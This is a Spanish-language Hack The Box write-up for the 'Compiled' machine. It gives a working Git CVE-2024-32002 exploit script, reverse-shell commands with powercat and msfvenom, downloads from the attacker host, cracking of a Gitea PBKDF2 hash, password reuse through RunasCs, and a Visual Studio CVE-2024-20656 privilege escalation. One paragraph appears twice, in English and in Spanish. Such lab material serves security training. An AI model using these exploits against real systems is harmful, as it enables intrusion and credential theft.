Descripción

Compiled es una máquina media de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Vulnerabilidad de Git en Windows permitiendo ejecución remota de comandos al clona un repositorio
  • Recuperación de la contraseña a partir de un hash de un usuario de Gitea
  • Reutilización de la contraseña del usuario de Gitea en una cuenta local de Windows
  • Escalada de privilegios mediante una vulnerabilidad de Visual Studio 2019

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y su sistema operativo. La dirección IP de la máquina de destino es 10.129.91.211.

$ ping -c 3 10.129.91.211
PING 10.129.91.211 (10.129.91.211) 56(84) bytes of data.
64 bytes from 10.129.91.211: icmp_seq=1 ttl=127 time=48.6 ms
64 bytes from 10.129.91.211: icmp_seq=2 ttl=127 time=47.9 ms
64 bytes from 10.129.91.211: icmp_seq=3 ttl=127 time=50.8 ms

--- 10.129.91.211 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 47.930/49.111/50.770/1.207 ms

La máquina está activa y con el TTL que equivale a 127 (128 menos 1 salto) podemos asegurar que es una máquina de Windows. Ahora vamos a hacer un escaneo de puertos de Nmap TCP SYN para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.91.211 -sS -oN nmap_scan 
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.91.211
Host is up (0.057s latency).
Not shown: 998 filtered tcp ports (no-response)
PORT     STATE SERVICE
3000/tcp open  ppp
5000/tcp open  upnp

Obtenemos dos puertos abiertos, 3000 y 5000.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.91.211 -sV -sC -p3000,5000 -Pn -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.91.211
Host is up (0.049s latency).

PORT     STATE SERVICE VERSION
3000/tcp open  ppp?
| fingerprint-strings: 
|   GenericLines, Help, RTSPRequest: 
|     HTTP/1.1 400 Bad Request
|     Content-Type: text/plain; charset=utf-8
|     Connection: close
|     Request
|   GetRequest: 
|     HTTP/1.0 200 OK
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Content-Type: text/html; charset=utf-8
|     Set-Cookie: i_like_gitea=0b8a7e2614ea1bee; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=TAnOm33ZJSGzoREg3k_q6vUTGlg6MTcyMjEwNzMwODQ3OTg5OTkwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|     <!DOCTYPE html>
|     <html lang="en-US" class="theme-arc-green">
|     <head>
|     <meta name="viewport" content="width=device-width, initial-scale=1">
|     <title>Git</title>
|     <link rel="manifest" href="data:application/json;base64,eyJuYW1lIjoiR2l0Iiwic2hvcnRfbmFtZSI6IkdpdCIsInN0YXJ0X3VybCI6Imh0dHA6Ly9naXRlYS5jb21waWxlZC5odGI6MzAwMC8iLCJpY29ucyI6W3sic3JjIjoiaHR0cDovL2dpdGVhLmNvbXBpbGVkLmh0YjozMDAwL2Fzc2V0cy9pbWcvbG9nby5wbmciLCJ0eXBlIjoiaW1hZ2UvcG5nIiwic2l6ZXMiOiI1MTJ4NTEyIn0seyJzcmMiOiJodHRwOi8vZ2l0ZWEuY29tcGlsZWQuaHRiOjMwMDA
|   HTTPOptions: 
|     HTTP/1.0 405 Method Not Allowed
|     Allow: HEAD
|     Allow: HEAD
|     Allow: GET
|     Cache-Control: max-age=0, private, must-revalidate, no-transform
|     Set-Cookie: i_like_gitea=10002b86ce4f661e; Path=/; HttpOnly; SameSite=Lax
|     Set-Cookie: _csrf=DaBx918RxK1xQGSQ81s-S0y3RHA6MTcyMjEwNzMxMzkxMjI4MzgwMA; Path=/; Max-Age=86400; HttpOnly; SameSite=Lax
|     X-Frame-Options: SAMEORIGIN
|_    Content-Length: 0
5000/tcp open  upnp?
| fingerprint-strings: 
|   GetRequest: 
|     HTTP/1.1 200 OK
|     Server: Werkzeug/3.0.3 Python/3.12.3
|     Content-Type: text/html; charset=utf-8
|     Content-Length: 5234
|     Connection: close
|     <!DOCTYPE html>
|     <html lang="en">
|     <head>
|     <meta charset="UTF-8">
|     <meta name="viewport" content="width=device-width, initial-scale=1.0">
|     <title>Compiled - Code Compiling Services</title>
|     <!-- Bootstrap CSS -->
|     <link rel="stylesheet" href="https://stackpath.bootstrapcdn.com/bootstrap/4.5.2/css/bootstrap.min.css">
|     <!-- Custom CSS -->
|     <style>
|     your custom CSS here */
|     body {
|     font-family: 'Ubuntu Mono', monospace;
|     background-color: #272822;
|     color: #ddd;
|     .jumbotron {
|     background-color: #1e1e1e;
|     color: #fff;
|     padding: 100px 20px;
|     margin-bottom: 0;
|     .services {
|   RTSPRequest: 
|     <!DOCTYPE HTML>
|     <html lang="en">
|     <head>
|     <meta charset="utf-8">
|     <title>Error response</title>
|     </head>
|     <body>
|     <h1>Error response</h1>
|     <p>Error code: 400</p>
|     <p>Message: Bad request version ('RTSP/1.0').</p>
|     <p>Error code explanation: 400 - Bad request syntax or unsupported method.</p>
|     </body>
|_    </html>

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 100.19 seconds

Obtenemos dos servicios: dos Hypertext Transfer Protocol (HTTP) en ejecución en un sistema operativo Windows. Agregamos el dominio del servidor HTTP, compiled.htb, a nuestro archivo /etc/hosts.

$ echo "10.129.91.211 compiled.htb" | sudo tee -a /etc/hosts

El primer servicio en el puerto 3000 corresponde a una instancia de un servidor Gitea y están disponibles dos repositorios, Compiled y Calculator, bajo el usuario richard. También agregamos este nombre de host al archivo /etc/hosts.

$ echo "10.129.91.211 gitea.compiled.htb" | sudo tee -a /etc/hosts

En el puerto 5000 encontramos la aplicación web Compiled que nos permite subir un repositorio de Git con código en C++, C# o .NET para compilarlo. Tenemos un formulario en el que podemos ingresar la URL del repositorio. Tenemos disponible el código fuente de esta aplicación en el servidor Gitea.

from flask import Flask, request, render_template, redirect, url_for
import os

app = Flask(__name__)

# Configuration
REPO_FILE_PATH = r'C:\Users\Richard\source\repos\repos.txt'

@app.route('/', methods=['GET', 'POST'])
def index():
    error = None
    success = None
    if request.method == 'POST':
        repo_url = request.form['repo_url']
        if # Add a sanitization to check for valid Git repository URLs.
            with open(REPO_FILE_PATH, 'a') as f:
                f.write(repo_url + '\n')
            success = 'Your git repository is being cloned for compilation.'
        else:
            error = 'Invalid Git repository URL. It must start with "http://" and end with ".git".'
    return render_template('index.html', error=error, success=success)

if __name__ == '__main__':
    app.run(host='0.0.0.0', port=5000)

Vemos que la URL del repositorio está siendo escrita en el archivo C:\Users\Richard\source\repos\repos.txt y parece que no se está realizando la compilación. Si creamos un puerto de escucha de Netcat podemos verificar que una aplicación Git remota está siendo utilizada para clonar los contenidos del repositorio.

$ nc -nvlp 1111
listening on [any] 1111 ...
connect to [10.10.14.37] from (UNKNOWN) [10.129.91.211] 52104
GET /repo.git/info/refs?service=git-upload-pack HTTP/1.1
Host: 10.10.14.37:1111
User-Agent: git/2.45.0.windows.1
Accept: */*
Accept-Encoding: deflate, gzip, br, zstd
Pragma: no-cache
Git-Protocol: version=2

Observamos que el sistema remoto está utilizando la versión 2.45.0 de Git. Las versiones anteriores a 2.45.1 en Windows y macOS son vulnerables a una ejecución de comandos remota, CVE-2024-32002.

Explotación

Observamos que los repositorios con submódulos pueden ser configurados de manera que aprovechen un bug en Git mediante el cual se puede engañar a Git para escribir archivos no en el árbol de trabajo del submóduelo sino en una carpeta .git/. Esto permite crear un hook que se ejecutará mientras la operación de clonado está en curso. Esto funcionará si los enlaces simbólicos están habilitados en la configuración de Git (verdadero por defecto). Tenemos un prueba de concepto hecha por Amal Murali. Primero necesitamos tener un servidor de Git para alojar los repositorios necesarios, en este caso repo y hook. Podemos utilizar el servidor Gitea creando una cuenta nueva, por ejemplo cuser. Luego crearemos ambos repositorios. Hemos modificado la prueba de concepto para adaptarla a nuestras necesidades. Debemos reemplazar <COMANDO_A_EJECUTAR> con el comando que deseamos ejecutar, en este caso una terminal inversa con powercat.ps1.

Script de Bash para iniciar los repositorios de Git:

#!/bin/bash

# Set Git configuration options
git config --global protocol.file.allow always
git config --global core.symlinks true
git config --global init.defaultBranch main
git config --global user.email "you@example.com"
git config --global user.name "Your Name"

# Remove older repos
rm -rf origrepo hook

# Initialize the hook repository
git init hook
cd hook
git remote add origin http://gitea.compiled.htb:3000/cuser/hook.git
mkdir -p y/hooks

# Write the malicious code to a hook
cat > y/hooks/post-checkout <<EOF
#!/bin/bash
<COMANDO_A_EJECUTAR>
EOF

# Make the hook executable
chmod +x y/hooks/post-checkout

# Save the file to the Git repo
git add y/hooks/post-checkout
git commit -m "post-checkout"
git push --set-upstream origin main -f
cd ..

# Initialize the captain repository
git init origrepo
cd origrepo
git remote add origin http://gitea.compiled.htb:3000/cuser/repo.git
git submodule add --name x/y "http://gitea.compiled.htb:3000/cuser/hook.git" A/modules/x
git commit -m "add-submodule"

# Create a symlink
printf ".git" > dotgit.txt
git hash-object -w --stdin < dotgit.txt > dot-git.hash
printf "120000 %s 0\ta\n" "$(cat dot-git.hash)" > index.info
git update-index --index-info < index.info
git commit -m "add-symlink"
git push --set-upstream origin main -f
cd ..

Como vamos a utilizar PowerCat, necesitamos alojarlo en un servidor HTTP con Python.

$ mkdir server
$ cd server
$ cp /usr/share/powershell-empire/empire/server/data/module_source/management/powercat.ps1 .
$ python -m http.server 80

Guardamos el script de Bash en una nueva carpeta y lo ejecutamos. Nos pedirá la contraseña y nombre de usuario de Git.

$ cd ..
$ mkdir repository
$ cd repository
$ vi create_repos.sh
$ bash create_repos.sh

Ahora observamos el repositorio con contenido repo. Y el hook. Ahora podemos iniciar el puerto de escucha en nuestro sistema.

nc -nvlp 4444

Y finalmente introducimos la URL del repositorio, http://127.0.0.1:3000/cuser/repo.git, en la aplicación web Compiled. Obtenemos una terminal inversa como el usuario Richard.

$ nc -nvlp 4444       
listening on [any] 4444 ...
connect to [10.10.14.37] from (UNKNOWN) [10.129.91.211] 50047
Windows PowerShell
Copyright (C) Microsoft Corporation. All rights reserved.

Try the new cross-platform PowerShell https://aka.ms/pscore6

PS C:\Users\Richard\source\cloned_repos\z26qe\.git\modules\x> whoami
whoami
Richard

Post-Explotación

También en la máquina tenemos a Emily y Administrador como usuarios normales.

PS C:\Users\Richard\source\cloned_repos\z26qe\.git\modules\x> net user  
net user

User accounts for \\COMPILED

-------------------------------------------------------------------------------
Administrator            DefaultAccount           Emily                    
Invitado                 Richard                  WDAGUtilityAccount       
The command completed successfully.

Encontramos el proceso de Gitea al enumerar los procesos.

PS C:\Users\Richard\source\cloned_repos\z26qe\.git\modules\x> Get-Process
...                                                   
    272      26   122240     157468              5388   0 gitea                    ...

Encontramos la base de datos de Gitea en el archivo c:\program files\gitea\data\gitea.db. Después de exfiltrarla, podemos analizar su contenido ya que es una base de datos SQLite.

$ sqlite3 gitea.db 
SQLite version 3.44.2 2023-11-24 11:41:44
Enter ".help" for usage hints.
sqlite> select * from user;
1|administrator|administrator||administrator@compiled.htb|0|enabled|1bf0a9561cf076c5fc0d76e140788a91b5281609c384791839fd6e9996d3bbf5c91b8eee6bd5081e42085ed0be779c2ef86d|pbkdf2$50000$50|0|0|0||0|||6e1a6f3adbe7eab92978627431fd2984|a45c43d36dce3076158b19c2c696ef7b|en-US||1716401383|1716669640|1716669640|0|-1|1|1|0|0|0|1|0||administrator@compiled.htb|0|0|0|0|0|0|0|0|0||arc-green|0
2|richard|richard||richard@compiled.htb|0|enabled|4b4b53766fe946e7e291b106fcd6f4962934116ec9ac78a99b3bf6b06cf8568aaedd267ec02b39aeb244d83fb8b89c243b5e|pbkdf2$50000$50|0|0|0||0|||2be54ff86f147c6cb9b55c8061d82d03|d7cf2c96277dd16d95ed5c33bb524b62|en-US||1716401466|1720089561|1720089548|0|-1|1|0|0|0|0|1|0||richard@compiled.htb|0|0|0|0|2|0|0|0|0||arc-green|0
4|emily|emily||emily@compiled.htb|0|enabled|97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16|pbkdf2$50000$50|1|0|0||0|||0056552f6f2df0015762a4419b0748de|227d873cca89103cd83a976bdac52486|||1716565398|1716567763|0|0|-1|1|0|0|0|0|1|0||emily@compiled.htb|0|0|0|0|0|0|0|2|0||arc-green|0
6|cuser|cuser||cuser@local.htb|0|enabled|ee3b3cc00e705122229ba2193f572adef350787db75f0b1b2d1ea784ec30f7ecd929cc4ab076f1db4b94252484ee7a593ceb|pbkdf2$50000$50|0|0|0||0|||4f38bc02eb0e62c76db124aeb313a353|5fc71ba5da17f9fa7a395a8607ba1bc1|en-US||1722135921|1722135959|1722135959|0|-1|1|0|0|0|0|1|0||cuser@local.htb|0|0|0|0|2|0|0|0|0||arc-green|0

Podemos obtener el tipo de hash, el salt y el hash del usuario emily y tratar de recuperar la contraseña. Tenemos que obtener las columnas passwd_hash_algo, salt y passwd de la tabla user.

sqlite> select passwd_hash_algo,salt,passwd from user where name = 'emily';
pbkdf2$50000$50|227d873cca89103cd83a976bdac52486|97907280dc24fe517c43475bd218bfad56c25d4d11037d8b6da440efd4d691adfead40330b2aa6aaf1f33621d0d73228fc16

El hash se ha creado usando el algoritmo PBKDF2-HMAC-SHA256 con 50000 rondas. Vamos a recuperar la contraseña con la herramienta Hashcat pero necesitamos convertir el hash a un formato específico, sha256:<rounds>:<base64_salt>:<base64_hash>. Debemos tener en cuenta que debemos convertir el hash hexadecimal a uno binario y luego codificarlo utilizando Base64. En este caso sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=. El tipo de hash es el 10900.

$ hashcat -a 0 -m 10900 hash.txt /usr/share/wordlists/rockyou.txt
...
sha256:50000:In2HPMqJEDzYOpdr2sUkhg==:l5BygNwk/lF8Q0db0hi/rVbCXU0RA32LbaRA79TWka3+rUAzCyqmqvHzNiHQ1zIo/BY=:12345678
...

Entonces hemos recuperado la contraseña, 12345678. Luego regresaremos a la máquina y verificaremos con la herramienta RunasCs si el usuario emily está reutilizando esta contraseña.

PS C:\Users\Richard\source\cloned_repos\b0srt\.git\modules\x> cd c:\
PS C:\> mkdir temporal
PS C:\> cd temporal
PS C:\temporal> iwr http://10.10.14.37/RunasCs.exe -outfile RunasCs.exe
PS C:\temporal> ./RunasCs.exe emily 12345678 "cmd /c whoami"
./RunasCs.exe emily 12345678 "cmd /c whoami"

compiled\emily

La contraseña es correcta. Podemos desplegar una nueva terminal inversa como el usuario emily con RunasCs.

PS C:\temporal> ./RunasCs.exe emily 12345678 -r 10.10.14.37:4445 powershell

Tenemos instalado Visual Studio 2019.

PS C:\Windows\system32> dir "C:\Program Files (x86)\Microsoft Visual Studio\"
dir "C:\Program Files (x86)\Microsoft Visual Studio\"

    Directory: C:\Program Files (x86)\Microsoft Visual Studio

Mode                 LastWriteTime         Length Name
----                 -------------         ------ ----
d-----         1/29/2024   9:07 PM                2019
d-----         1/20/2024   1:57 AM                Installer
d-----         1/20/2024   2:04 AM                Shared

Y el servicio VSStandardCollectorService150 instalado. Podemos obtener el estado del proceso con el usuario emily.

PS C:\temporal> get-service VSStandardCollectorService150
get-service VSStandardCollectorService150

Status   Name               DisplayName                           
------   ----               -----------                           
Stopped  VSStandardColle... Visual Studio Standard Collector Se...

La vulnerabilidad CVE-2024-20656 existe para escalada de privilegios utilizando Visual Studio (Resolución de enlaces inapropiados antes del acceso a archivos (‘Seguimiento de enlaces’)). Las versiones afectadas son todas las versiones anteriores a 16.11.33 desde la 16.11.0. Tenemos una prueba de concepto creada por Wh04m1001. Es un proyecto de Visual Studio que necesitamos descargar, modificar y compilar con el conjunto de herramientas de Visual Studio con soporte para C++. En este caso, necesitaremos instalar Visual Studio 2022 en un sistema Windows. Después de eso, podremos clonar el repositorio.

PS> git clone https://github.com/Wh04m1001/CVE-2024-20656

Then we will open it with Visual Studio by clicking in the Expl.sln in the Expl folder. Then we will change two file from the main.cpp file. The first one related to the location of the VSDiagnostics.exe binary (in the 2019 version located in the C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Team Tools\DiagnosticsHub\Collector\VSDiagnostics.exe directory) and the second one related to the location of our payload to run, in this case C:\temporal\shell.exe. Luego abriremos el proyecto con Visual Studio haciendo clic en el archivo Expl.sln en la carpeta Expl. Luego cambiamos dos líneas del archivo main.cpp. La primera relacionada con la ubicación del ejecutable VSDiagnostics.exe (en la versión 2019 localizada en el directorio C:\Program Files (x86)\Microsoft Visual Studio\2019\Community\Team Tools\DiagnosticsHub\Collector\VSDiagnostics.exe) y la segunda relacionada con la ubicación de nuestra carga útil a ejecutar, en este caso C:\temporal\shell.exe.

Primera línea a modificar antes:
WCHAR cmd[] = L"C:\\Program Files\\Microsoft Visual Studio\\2022\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";

Primera línea a modificar después:
WCHAR cmd[] = L"C:\\Program Files (x86)\\Microsoft Visual Studio\\2019\\Community\\Team Tools\\DiagnosticsHub\\Collector\\VSDiagnostics.exe";

Segunda línea a modificar antes:
CopyFile(L"c:\\windows\\system32\\cmd.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);

Segunda línea a modificar después:
CopyFile(L"C:\\temporal\\shell.exe", L"C:\\ProgramData\\Microsoft\\VisualStudio\\SetupWMI\\MofCompiler.exe", FALSE);

Después de eso, guardamos el archivo main.cpp, cambiamos el objetivo de la compilación a Release y mantenemos la arquitectura x64. Después de compilar el proyecto, tendremos el binario Windows x64/Release/Expl.exe. Lo movemos a la máquina remota al directorio C:\temporal. También generamos el archivo de carga útil shell.exe con la herramienta msfvenom e iniciamos el puerto de escucha.

$ msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.37 LPORT=4446 -f exe > shell.exe
$ nc -nvlp 4446

Luego, en la máquina remota (en la terminal RunasCs de emily), iniciamos el servicio MSI msiserver y rápidamente ejecutamos el binario Expl.exe.

PS C:\temporal> iwr http://10.10.14.37/Expl.exe -outfile Expl.exe
PS C:\temporal> iwr http://10.10.14.37/shell.exe -outfile shell.exe
PS C:\temporal> Start-Service msiserver
PS C:\temporal> .\Expl.exe
[+] Junction \\?\C:\a112d2fc-2cd2-458d-8f0c-6eaa177f1d11 -> \??\C:\13b6be14-03d2-45ed-b7f9-cb24bd085aec created!
[+] Symlink Global\GLOBALROOT\RPC Control\Report.0197E42F-003D-4F91-A845-6404CF289E84.diagsession -> \??\C:\Programdata created!
[+] Junction \\?\C:\a112d2fc-2cd2-458d-8f0c-6eaa177f1d11 -> \RPC Control created!
[+] Junction \\?\C:\a112d2fc-2cd2-458d-8f0c-6eaa177f1d11 -> \??\C:\13b6be14-03d2-45ed-b7f9-cb24bd085aec created!
[+] Symlink Global\GLOBALROOT\RPC Control\Report.0297E42F-003D-4F91-A845-6404CF289E84.diagsession -> \??\C:\Programdata\Microsoft created!
[+] Junction \\?\C:\a112d2fc-2cd2-458d-8f0c-6eaa177f1d11 -> \RPC Control created!
[+] Persmissions successfully reseted!
[*] Starting WMI installer.
[*] Command to execute: C:\windows\system32\msiexec.exe /fa C:\windows\installer\8ad86.msi
[*] Oplock!
[+] File moved!

Obtenemos una terminal como el usuario nt authority\system.

Flags

Con la terminal como el usuario SYSTEM, podemos obtener las flags de usuario y administrador.

PS C:\Windows\system32> type C:\Users\emily\Desktop\user.txt
<REDACTED>
PS C:\Windows\system32> type C:\Users\Administrator\Desktop\root.txt
<REDACTED>